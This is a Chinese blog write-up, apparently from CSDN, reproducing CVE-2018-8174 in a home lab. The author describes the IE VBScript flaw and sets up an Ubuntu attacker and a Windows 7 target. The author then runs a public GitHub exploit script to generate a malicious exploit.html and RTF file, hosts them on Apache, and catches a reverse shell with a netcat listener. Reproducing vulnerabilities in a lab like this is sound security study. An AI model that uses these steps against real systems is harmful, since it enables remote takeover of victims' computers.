CVE-2018-8174成功复现过程记录

CVE-2018-8174成功复现过程记录

漏洞描述

VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后,攻击者可能会安装程序。查看,更改或删除数据;或创建具有完全用户权限的新帐户。

在基于Web的攻击情形中,攻击者可能拥有一个旨在通过Internet Explorer利用此漏洞的特制网站,然后诱使用户查看该网站。攻击者还可能在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“初始化安全”的ActiveX控件。攻击者还可能利用受感染的网站以及接受或托管用户提供的内容或广告的网站。这些网站可能包含可以利用此漏洞的特制内容。

靶机部署

  • 攻击机:Ubuntu 20.04.2 LTS

  • 目标机:Windows 7 Enterprise with Service Pack 1 (x64)

  • 注意点:因为高版本的windows系统已经修复了此漏洞,所以这里利用到了win7虚拟机。虚拟机的镜像可以在MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn)上进行下载。下载是记得选择带有Service Pack的版本,方便vmtools的安装。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o2HXvNk6-1618919753676)(CVE-2018-8174成功复现过程记录.assets/win7.png)]

  • 然后我们的主要思路是在Ubuntu虚拟机上开启web服务,然后win7虚拟机去访问然后被远程命令执行,所以我们的ubuntu虚拟机需要安装apache2作为服务器来对外提供web服务。

  • apache2安装命令:

    sudo apt update
    sudo apt install apache2
    
  • 打开apache2服务:

    service apache2 start
    
  • 然后我们可以输入以下命令来验证apahce是否正在运行。

    sudo systemctl status apache2
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XlrcakUC-1618919753677)(CVE-2018-8174成功复现过程记录.assets/apache开启.png)]

漏洞复现

  • 下载复现脚本到ubuntu虚拟机上。

    git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
    
  • 进入文件夹后我们可以看到提示

    # CVE-2018-8174_EXP
    usage: CVE-2018-8174.py [-h] -u URL -o OUTPUT [-i IP] [-p PORT]
    
    Exploit for CVE-2018-8174
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     exp url
      -o OUTPUT, --output OUTPUT
                            Output exploit rtf
      -i IP, --ip IP        ip for netcat
      -p PORT, --port PORT  port for netcat
    
    eg:
    1. python CVE-2018-8174.py -u http://1.1.1.1/exploit.html -o exp.rtf -i 2.2.2.2 -p 4444
    2. put exploit.html on your server (1.1.1.1)
    3. netcat listen  on [any] 4444 (2.2.2.2)
    
    enjoy it !
    
  • 于是我们试着输入以下命令。

    python3 CVE-2018-8174.py -u http://192.168.40.128/exploit.html -o exp.rtf -i 192.168.40.128 -p 4444 
    
  • 结果报错,原因是因为复现脚本比较老了,是用python2写的。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u7rdUiMm-1618919753678)(CVE-2018-8174成功复现过程记录.assets/python3报错-1618918137592.png)]

  • 因为ubuntu上默认只有python3,所以进行安装。

     sudo apt install python2     
    
  • 安装完成后用python2来执行复现脚本。

    python2 CVE-2018-8174.py -u http://192.168.40.128/exploit.html -o exp.rtf -i 192.168.40.128 -p 4444
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NozhH3Zm-1618919753680)(CVE-2018-8174成功复现过程记录.assets/命令执行成功.png)]

  • 然后根据提示把文件夹中的exploit.html复制到apache服务器工作文件夹/var/www/html

    cp exploit.html /var/www/html
    
  • 然后我们利用nc来进行4444端口的监听。这里有一个很重要的点,网上的监听命令都是这样的。

    nc -lvvp 4444
    
  • 但是我实际操作的时候,发现这样会报错,原因可能是DNS服务器的锅。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kk5DM9Pl-1618919753682)(CVE-2018-8174成功复现过程记录.assets/nc报错.png)]

  • 在查阅资料nc: getnameinfo: Temporary failure in name resolution_心如熊猫的博客-CSDN博客后,我发现只要把参数改一下就能成功监听

    nc -lvnp 4444
    
  • 这里简单引用一下参数说明。

    -l 使用监听模式,管控传入的资料。

    -v 显示指令执行过程。

    -n 直接使用IP地址,而不通过域名服务器。

    -p<通信端口> 设置本地主机使用的通信端口。

  • 现在攻击机已经做好了准备,只需要猎物上钩了。我们打开win7虚拟机,打开ie浏览器访问exploit.html

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ql7TEF6K-1618919753683)(CVE-2018-8174成功复现过程记录.assets/win7ie-1618919116483.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KmeZl794-1618919753683)(CVE-2018-8174成功复现过程记录.assets/命令行-1618919130259.png)]

  • 我们看到,在命令行中,我们已经取得了win7的控制权,命令行从linux变成了win7的命令行,到此成功复现漏洞CVE-2018-8174。

  • 但是还有一个小问题,我们发现终端里有很多乱码,这应该是由于windows终端的编码是GB2312的关系。我们只需要输入以下命令即可获得愉快的体验。

    chcp 65001
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yj6uKlAX-1618919753684)(CVE-2018-8174成功复现过程记录.assets/chcp.png)]

  • 之前听说骇客在获得控制权后都会弹出一个计算器,于是我也体验了一波。感觉真不错(

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tX6zdwTB-1618919753685)(CVE-2018-8174成功复现过程记录.assets/calc.png)]

参考链接

CVE-2018-8174漏洞利用及漏洞加固_丶没胡子的猫-CSDN博客

nc: getnameinfo: Temporary failure in name resolution_心如熊猫的博客-CSDN博客

msf拿到windows的shell显示乱码解决方法_Websec-CSDN博客_msf乱码

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值